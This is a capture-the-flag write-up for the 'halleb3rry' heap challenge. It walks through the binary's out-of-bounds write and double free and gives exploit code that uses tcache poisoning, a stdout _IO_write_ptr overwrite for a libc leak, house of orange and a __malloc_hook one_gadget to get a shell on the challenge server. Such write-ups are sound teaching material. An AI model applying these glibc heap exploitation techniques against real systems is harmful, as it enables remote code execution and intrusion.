Points: 1003 Solves: 6

Can you pwn like Halle Berry?

Attachment: halleb3rry.tar.gz xpl.py

gef➤  checksec
[+] checksec for '/usr/bin/socat'
Canary                        : Yes →  value: 0x47c90d877242d400
NX                            : Yes
PIE                           : Yes
Fortify                       : Yes
RelRO                         : Full
++++++++
Heap pwner v01
++++++++

[?] name: AAAA
1) alloc array
2) edit array
3) delete array
4) print name
5) menu
6) exit
>

halleb3rry was quite an interesting heap challenge, which seemed to have no easy way for leaks.

After asking us for a username (which will get stored in bss), we have the option to create, edit and delete byte arrays. Though we are only allowed to free the array 5 times.

When reading the username, 0x80 bytes will be read and the last byte (or newline) will be replaced with a null byte.

unsigned int read_string(char *buf, int size) {  
  int read_bytes = read(0, buf, size);

  if ( read_bytes == -1 || !read_bytes )
    return 0;

  unsigned int i = 0;
  while ( i < size ) {
    if ( buf[i] == '\n' ) {
      buf[i] = 0;
      return i+1;
    }
    ++i;
  }
  if ( i > 0 )
    buf[i - 1] = 0;

  return i;
}

void read_name(char *buf, unsigned int size) {
  printf("[?] name: ");
  fflush(stdout);
  int read_bytes = read_string(buf, size);

  if ( !read_bytes )
    exit(1);    
}

The username will be stored on the stack, and aligned to it, the menu input will be stored.

gef➤  x/30gx 0x7fffffffe150
0x7fffffffe150:	0x4141414141414141	0x4141414141414141  <= username
0x7fffffffe160:	0x4141414141414141	0x4141414141414141
0x7fffffffe170:	0x4141414141414141	0x4141414141414141
0x7fffffffe180:	0x4141414141414141	0x4141414141414141
0x7fffffffe190:	0x4141414141414141	0x4141414141414141
0x7fffffffe1a0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1b0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1c0:	0x4141414141414141	0x0041414141414141
0x7fffffffe1d0:	0x0000000000000000	0x0000000000000000  <= menu_choice
0x7fffffffe1e0:	0x0000000000000000	0x0000000000000000
0x7fffffffe1f0:	0x0000000000000000	0x0000000000000000
0x7fffffffe200:	0x0000000000000000	0x0000000000000000
0x7fffffffe210:	0x0000000000000000	0x0000000000000000
0x7fffffffe220:	0x0000000000000000	0x0000000000000000
0x7fffffffe230:	0x0000000000000000	0x0000000000000000
0x7fffffffe240:	0x0000000000000000	0x0000000000000000
0x7fffffffe250:	0x00007fffffffe340	0xae6bb0b770650f00
0x7fffffffe260:	0x0000000000400eb0	0x00007ffff7a05b97
0x7fffffffe270:	0x0000000000000001	0x00007fffffffe348

If it would be possible to enlarge the username by one byte, it might have been possible to use the print_name function to leak the following stack address (by giving an option like 0*127+4), but it didn’t work out for me (might just have been a red herring), so had to find another way to get a proper leak.

So, let’s take a look at create/edit/delete

void create_array()
{  
    signed int size; // [rsp+8h] [rbp-98h]
    char input[0x80];
  
    memset(input, 0, 0x80);
    printf("[?] size: ");
    fflush(stdout);
    
    if ( !read_string(input, 128) )
        exit(1);
    
    size = atoi(input);

    if ( size <= 128 && size > 0 ) {
        ptr = malloc(size);
        printf("[?] data: ");
        fflush(stdout);
        memset(&input, 0, 0x80);
        if ( !read_string(ptr, size) )
            exit(1);
    }
    else {
        fwrite("[-] invalid size!\n", 1, 0x12, stderr);
    }  
}

Nothing special here, reads a size, allocates an appropriate chunk and stores it in global ptr.

void delete_array()
{
    if ( ptr )
        free(ptr);
}

So, this will just free ptr without clearing it, allowing a double free.

void edit_array() {
    int offset; 
    char input[0x80];
  
    memset(input, 0, 0x80);
    printf("[?] index: ");
    fflush(stdout);

    if ( !read_string(input, 128) )
        exit(1);

    offset = atoi(input);

    if ( offset > 0 ) {                 // oob write possible
        printf("[?] byte: ");
        fflush(stdout);
        memset(input, 0, 0x80);
        if ( !read_string(&input, 128) )
            exit(1);

        ptr[offset] = atoi(input);
    }
    else {
        fwrite("[-] invalid idx!\n", 1, 0x11, stderr);
    }  
}

The edit function doesn’t do the boundary check correctly, so we can write way behind our allocated chunk.

But we still have no leak, and we’d need at least a libc address to do something useful.

I still have the feeling, I overlooked something important (like using the double free at all), since solving this was going to be quite a ride.

Since at that point, my mind was set up, that we cannot use print_name for anything useful, the only other option seemed to be leaking via overwriting stdout buffers.

For getting a leak, we’d thus have to

  • Create a libc address on the heap
  • Overwrite _IO_write_ptr of stdout, so it will try to flush the output from the heap printing our prepared libc address

Since we’re using tcache, freeing chunks will only put heap addresses in the FD pointers.

But if you free a chunk, big enough to not be handled by tcache, main_arena will be used instead to handle this chunk. So, we just have to forge a chunk on the heap with a size of 0x500 for example and free that one. This will put pointers to main_arena on the heap.

log.info("Create fake chunk and free it to get main_arena ptr on heap")

# Setup two chunks on the heap (both freed)
alloc(0x60-8, "A"*(0x60-8)) # chunk 1
delete()
alloc(0x70-8, "A"*(0x70-8)) # chunk 2
delete()

# Reallocate first chunk
alloc(0x60-8, "\x00")

# Use oob write to overwrite size of chunk 2
edit(0x60-8, 0x01)
edit(0x60-8+1, 0x5)

# Use oob write to write some valid next_sizes on heap
edit(0x60-8+0x500, 0x71)
edit(0x60-8+0x500+0x70, 0x71)

# Reallocate and free chunk (chunk 2) with fake size, so tcache won't be used
alloc(0x70-8, "A"*8)
delete()

After this, the heap will look like this

0x604260:	0x0000000000000000	0x0000000000000061  => Chunk 1
0x604270:	0x0000000000000000	0x4141414141414141
0x604280:	0x4141414141414141	0x4141414141414141
0x604290:	0x4141414141414141	0x4141414141414141
0x6042a0:	0x4141414141414141	0x4141414141414141
0x6042b0:	0x4141414141414141	0x4141414141414141
0x6042c0:	0x0041414141414141	0x0000000000000501  => Chunk 2 (fake size)
0x6042d0:	0x00007ffff7dcfca0	0x00007ffff7dcfca0  => ptr to main_arena
0x6042e0:	0x0000000000000000	0x0000000000000000
0x6042f0:	0x4141414141414141	0x4141414141414141
0x604300:	0x4141414141414141	0x4141414141414141
0x604310:	0x4141414141414141	0x4141414141414141
0x604320:	0x4141414141414141	0x4141414141414141
0x604330:	0x0041414141414141	0x000000000001fcd1

tcache arena will be cleared, after we freed the big chunk, so we have to resetup some chunks to do something useful.

And still, we have to find a way to print the content of our heap (for which no functionality in the binary exists).

Since the binary is using printf, a chunk on the heap is allocated for output buffering

gef➤  x/30gx stdout
0x7ffff7dd0760 <_IO_2_1_stdout_>:      0x00000000fbad2884	0x0000000000603260 <= flags           / _IO_read_ptr
0x7ffff7dd0770 <_IO_2_1_stdout_+16>:	0x0000000000603260	0x0000000000603260 <= _IO_read_end    / _IO_read_base
0x7ffff7dd0780 <_IO_2_1_stdout_+32>:	0x0000000000603260	0x0000000000603260 <= _IO_write_base  / _IO_write_ptr
0x7ffff7dd0790 <_IO_2_1_stdout_+48>:	0x0000000000604260	0x0000000000603260 <= _IO_write_end   / _IO_buf_base
0x7ffff7dd07a0 <_IO_2_1_stdout_+64>:	0x0000000000604260	0x0000000000000000 <= _IO_buf_end     / _IO_save_base
0x7ffff7dd07b0 <_IO_2_1_stdout_+80>:	0x0000000000000000	0x0000000000000000 <= _IO_backup_base / _IO_save_end
0x7ffff7dd07c0 <_IO_2_1_stdout_+96>:	0x0000000000000000	0x00007ffff7dcfa00 <= _IO_marker      / _chain
0x7ffff7dd07d0 <_IO_2_1_stdout_+112>:	0x0000000000000001	0xffffffffffffffff <= _fileno
0x7ffff7dd07e0 <_IO_2_1_stdout_+128>:	0x0000000000000000	0x00007ffff7dd18c0
0x7ffff7dd07f0 <_IO_2_1_stdout_+144>:	0xffffffffffffffff	0x0000000000000000
0x7ffff7dd0800 <_IO_2_1_stdout_+160>:	0x00007ffff7dcf8c0	0x0000000000000000
0x7ffff7dd0810 <_IO_2_1_stdout_+176>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0820 <_IO_2_1_stdout_+192>:	0x00000000ffffffff	0x0000000000000000
0x7ffff7dd0830 <_IO_2_1_stdout_+208>:	0x0000000000000000	0x00007ffff7dcc2a0

0x603250:	0x0000000000000000	0x0000000000001011
0x603260:	0x61746164205d203e	0x320a79617220203a
0x603270:	0x6120746964652029	0x2029330a79617272
0x603280:	0x61206574656c6564	0x2029340a79617272
0x603290:	0x616e20746e697270	0x656d2029350a656d
0x6032a0:	0x78652029360a756e	0x000000203e0a7469
0x6032b0:	0x0000000000000000	0x0000000000000000
0x6032c0:	0x0000000000000000	0x0000000000000000
0x6032d0:	0x0000000000000000	0x0000000000000000

If we are able to overwrite _IO_write_ptr, libc will think, there’s still data to print, and spill out the data between _IO_write_base and _IO_write_ptr.

So, how to get to overwrite anything in stdout without having a libc address yet?

We’ll be using the fact, that bss contains a pointer to it…

gef➤  x/30gx 0x602000
0x602000:	        0x0000000000000000	0x0000000000000000
0x602010:	        0x0000000000000000	0x0000000000000000
0x602020 <stdout>:	0x00007ffff7dd0760	0x0000000000000000
0x602030:	        0x0000000000000000	0x0000000000000000
0x602040 <stderr>:	0x00007ffff7dd0680	0x0000000000000000
0x602050:	        0x0000000000000000	0x0000000000000000
0x602060:	        0x0000000000000000	0x0000000000000000

Since allocating a chunk into stdout itself, might crash the application, when following allocations write a FD pointer into it, we’ll use stderr instead, which happens to be just above stdout.

To pull this off, we’ll now prepare two freed chunks again (which will be handled by tcache again) and then overwrite the FD of a freed chunk with the address of stderr (on bss).

def write_off(off, payload):
	for i in range(len(payload)):
		edit(off+i, ord(payload[i]))

...

log.info("Setup some chunks and overwrite freed FD pointing to stdout pointer")

# Allocate two aligned chunks (both in tcache bin list)
alloc(0x60-8, "A"*(0x60-8))
delete()
alloc(0x70-8, "C"*(0x70-8))
delete()

# Allocate first chunk again
alloc(0x60-8, "Y"*(0x60-8))

# Overwrite FD of following chunk with pointer to stdout	
write_off(0x60, p64(0x602040))

# Allocate chunk to get stdout pointer into fastbin list
alloc(0x70-8, "X"*10)

tcache will now contain the address of stdout on bss.

gef➤  x/30gx 0x603000
0x603000:	0x0000000000000000	0x0000000000000251
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000000
0x603030:	0x0000000000000000	0x0000000000000000
0x603040:	0x0000000000000000	0x0000000000000000
0x603050:	0x0000000000000000	0x0000000000000000
0x603060:	0x0000000000000000	0x0000000000000000
0x603070:	0x0000000000000000	0x0000000000602040 <= stderr
0x603080:	0x0000000000000000	0x0000000000000000
0x603090:	0x0000000000000000	0x0000000000000000

Now, when we allocate the next chunk, malloc will serve us the chunk at 0x602040

0x602040 <stderr>:	0x00007ffff7dd0680	0x0000000000000000
0x602050:	        0x0000000000000000	0x0000000000000000

and put the "FD" from this chunk (which happens to be the address of stderr) into the bin list.

gef➤  x/30gx 0x603000
0x603000:	0x0000000000000000	0x0000000000000251
0x603010:	0x0000ff0000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000000
0x603030:	0x0000000000000000	0x0000000000000000
0x603040:	0x0000000000000000	0x0000000000000000
0x603050:	0x0000000000000000	0x0000000000000000
0x603060:	0x0000000000000000	0x0000000000000000
0x603070:	0x0000000000000000	0x00007ffff7dd0680  <= stderr
0x603080:	0x0000000000000000	0x0000000000000000
0x603090:	0x0000000000000000	0x0000000000000000

Thus allocating another chunk will now give us a chunk inside stderr.

log.info("Allocate chunk to get stderr pointer into bin list")
alloc(0x70-8, "\n")

log.info("Allocate chunk inside stderr")
alloc(0x70-8, "\n")

stderr will be broken from now on, so be cautious to not trigger an error message, or it will crash.

gef➤  x/30gx 0x602000
0x602000:	        0x0000000000000000	0x0000000000000000
0x602010:	        0x0000000000000000	0x0000000000000000
0x602020 <stdout>:	0x00007ffff7dd0760	0x0000000000000000
0x602030:	        0x0000000000000000	0x0000000000000000
0x602040 <stderr>:	0x00007ffff7dd0600	0x0000000000000000
0x602050:	        0x0000000000000000	0x00007ffff7dd0680  <== ptr

gef➤  x/30gx stdout
0x7ffff7dd0760 <_IO_2_1_stdout_>:      0x00000000fbad2884	0x0000000000603260 <= flags           / _IO_read_ptr
0x7ffff7dd0770 <_IO_2_1_stdout_+16>:	0x0000000000603260	0x0000000000603260 <= _IO_read_end    / _IO_read_base
0x7ffff7dd0780 <_IO_2_1_stdout_+32>:	0x0000000000603260	0x0000000000603260 <= _IO_write_base  / _IO_write_ptr
0x7ffff7dd0790 <_IO_2_1_stdout_+48>:	0x0000000000604260	0x0000000000603260 <= _IO_write_end   / _IO_buf_base
0x7ffff7dd07a0 <_IO_2_1_stdout_+64>:	0x0000000000604260	0x0000000000000000 <= _IO_buf_end     / _IO_save_base
0x7ffff7dd07b0 <_IO_2_1_stdout_+80>:	0x0000000000000000	0x0000000000000000 <= _IO_backup_base / _IO_save_end
0x7ffff7dd07c0 <_IO_2_1_stdout_+96>:	0x0000000000000000	0x00007ffff7dcfa00 <= _IO_marker      / _chain
0x7ffff7dd07d0 <_IO_2_1_stdout_+112>:	0x0000000000000001	0xffffffffffffffff <= _fileno

We now have ptr pointing to stderr (which is above stdout) and can use this to overwrite _IO_write_ptr. Overwriting the LSB will get us nowhere, since it will only print stuff inside the stdout buffer, but overwriting the second byte should give us a huge leak.

log.info("Overwrite _IO_write_ptr")

r.sendline("2")
r.sendlineafter("index: ", str(0x109))	
r.sendlineafter("byte: ", str(0xf0))
x00\x00[DEBUG] Received 0x1000 bytes:
    00000000  00 00 00 00  00 00 00 00  61 00 00 00  00 00 00 00  │····│····│a···│····│
    00000010  00 00 00 00  00 00 00 00  41 41 41 41  41 41 41 41  │····│····│AAAA│AAAA│
    00000020  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000060  41 41 41 41  41 41 41 00  61 00 00 00  00 00 00 00  │AAAA│AAA·│a···│····│
    00000070  59 59 59 59  59 59 59 59  59 59 59 59  59 59 59 59  │YYYY│YYYY│YYYY│YYYY│
    *
    000000c0  59 59 59 59  59 59 59 00  71 00 00 00  00 00 00 00  │YYYY│YYY·│q···│····│
    000000d0  58 58 58 58  58 58 58 58  58 58 43 43  43 43 43 43  │XXXX│XXXX│XXCC│CCCC│
    000000e0  43 43 43 43  43 43 43 43  43 43 43 43  43 43 43 43  │CCCC│CCCC│CCCC│CCCC│
    *
    00000130  43 43 43 43  43 43 43 00  31 04 00 00  00 00 00 00  │CCCC│CCC·│1···│····│
    00000140  a0 fc 81 9d  8e 7f 00 00  a0 fc 81 9d  8e 7f 00 00  │····│····│····│····│ <= main_arena ptr
    00000150  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000560  30 04 00 00  00 00 00 00  70 00 00 00  00 00 00 00  │0···│····│p···│····│
    00000570  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    000005d0  00 00 00 00  00 00 00 00  71 00 00 00  00 00 00 00  │····│····│q···│····│
    000005e0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
r.recvuntil("CCC\x00\x31")
r.recv(7)
LIBCLEAK = u64(r.recv(8))
libc.address = LIBCLEAK - 96 - 0x10 - libc.symbols["__malloc_hook"]
r.recvuntil("> ")

log.info("LIBC leak : %s" % hex(LIBCLEAK))
log.info("LIBC      : %s" % hex(libc.address))

So, finally we have our libc leak… But as well, we’re out of free, since we freed already 5 times to get here.

Might have been a bad idea, that I totally ignored the possible double free in my exploit. Maybe this would have helped to get this done with a less amount of frees, but well, there I was, a libc leak at hand and only armed with a stderr chunk and nothing to free anymore :(

Well, if the binary won’t help me triggering free anymore, we have to force it.

We still can allocate as many chunks as we like, so it’s time for house of orange.

log.info("Trigger free via house of orange")

for i in range(29):
	alloc(128, "A")
	
# Overwrite top
write_off(0x88, p64(0x71))
	
# Allocate to trigger free of top chunk
alloc(128, "A")

This will result in freeing the top chunk and putting it into tcache arena.

gef➤  x/30gx 0x603000
0x603000:	0x0000000000000000	0x0000000000000251
0x603010:	0x0000fe0001000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000000
0x603030:	0x0000000000000000	0x0000000000000000
0x603040:	0x0000000000000000	0x0000000000000000
0x603050:	0x0000000000000000	0x0000000000000000
0x603060:	0x0000000000000000	0x0000000000604fa0  <= freed top chunk
0x603070:	0x0000000000000000	0x00000000fbad2086
0x603080:	0x0000000000000000	0x0000000000000000

But still not enough to do something useful with it, we need another chunk behind it, that is also freed.

Let’s just do it again :)

log.info("Trigger second free")
for i in range(27):
	alloc(128, "A")

# Overwrite top
write_off(0x88, p64(0x41))

# Allocate to trigger free of top chunk
alloc(128, "A")
gef➤  x/30gx 0x603000
0x603000:	0x0000000000000000	0x0000000000000251
0x603010:	0x0000fe0001000001	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000000
0x603030:	0x0000000000000000	0x0000000000000000
0x603040:	0x0000000000000000	0x0000000000000000
0x603050:	0x0000000000624fd0	0x0000000000000000  <= second freed top chunk
0x603060:	0x0000000000000000	0x0000000000604fa0  <= first freed top chunk
0x603070:	0x0000000000000000	0x00000000fbad2086

Two freed chunks in tcache arena again, this might finally come to an end :)

All that’s left now, is to allocate the first freed chunk, overwrite the FD of the second freed chunk with __malloc_hook and overwrite it with a one_gadget.

log.info("Get previous free chunk")	
alloc(0x50-8, "A")

log.info("Overwrite FD of second chunk with __malloc_hook")
payload = p64(libc.symbols["__malloc_hook"])

write_off(0x20030, payload)

log.info("Allocate chunks to overwrite __malloc_hook with one_gadget")
alloc(0x20-8, "A")
alloc(0x20-8, p64(libc.address+0x4f322))

log.info("Allocate another chunk to trigger one_gadget")
r.sendline("1")
r.sendline("100")

One last thing to note: When writing the exploit, I ran the binary directly from the script, which resulted in the final exploit not working remotely, since the size of the buffer chunk will vary. You can get around this by running the binary in socat and connect to it locally, like you would do remote, which will help in fixing the offsets of the chunks.

$ python xpl.py 1
[*] '/media/sf_ctf/secfest/halleberry/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to halleb3rry-01.pwn.beer on port 6666: Done
[*] Create fake chunk and free it to get main_arena ptr on heap
[*] Setup some chunks and overwrite freed FD pointing to stdout pointer
[*] Allocate chunk to get stderr pointer into bin list
[*] Allocate chunk inside stderr
[*] Overwrite _IO_write_ptr
[*] LIBC leak : 0x7f945a12cca0
[*] LIBC      : 0x7f9459d41000
[*] Trigger free via house of orange
[*] Trigger second free
[*] Get previous free chunk
[*] Overwrite FD of second chunk with __malloc_hook
[*] Allocate chunks to overwrite __malloc_hook with one_gadget
[*] Allocate another chunk to trigger one_gadget
[*] Switching to interactive mode
[?] size: $ ls
flag
libc.so.6
pwn
start.sh
$ cat flag
sctf{tcache_1s_s0_secure_doubl3_fr33_and_std0ut_lolz}

Still feels, like I overcomplicated this one, so I’m curious to see other writeups :)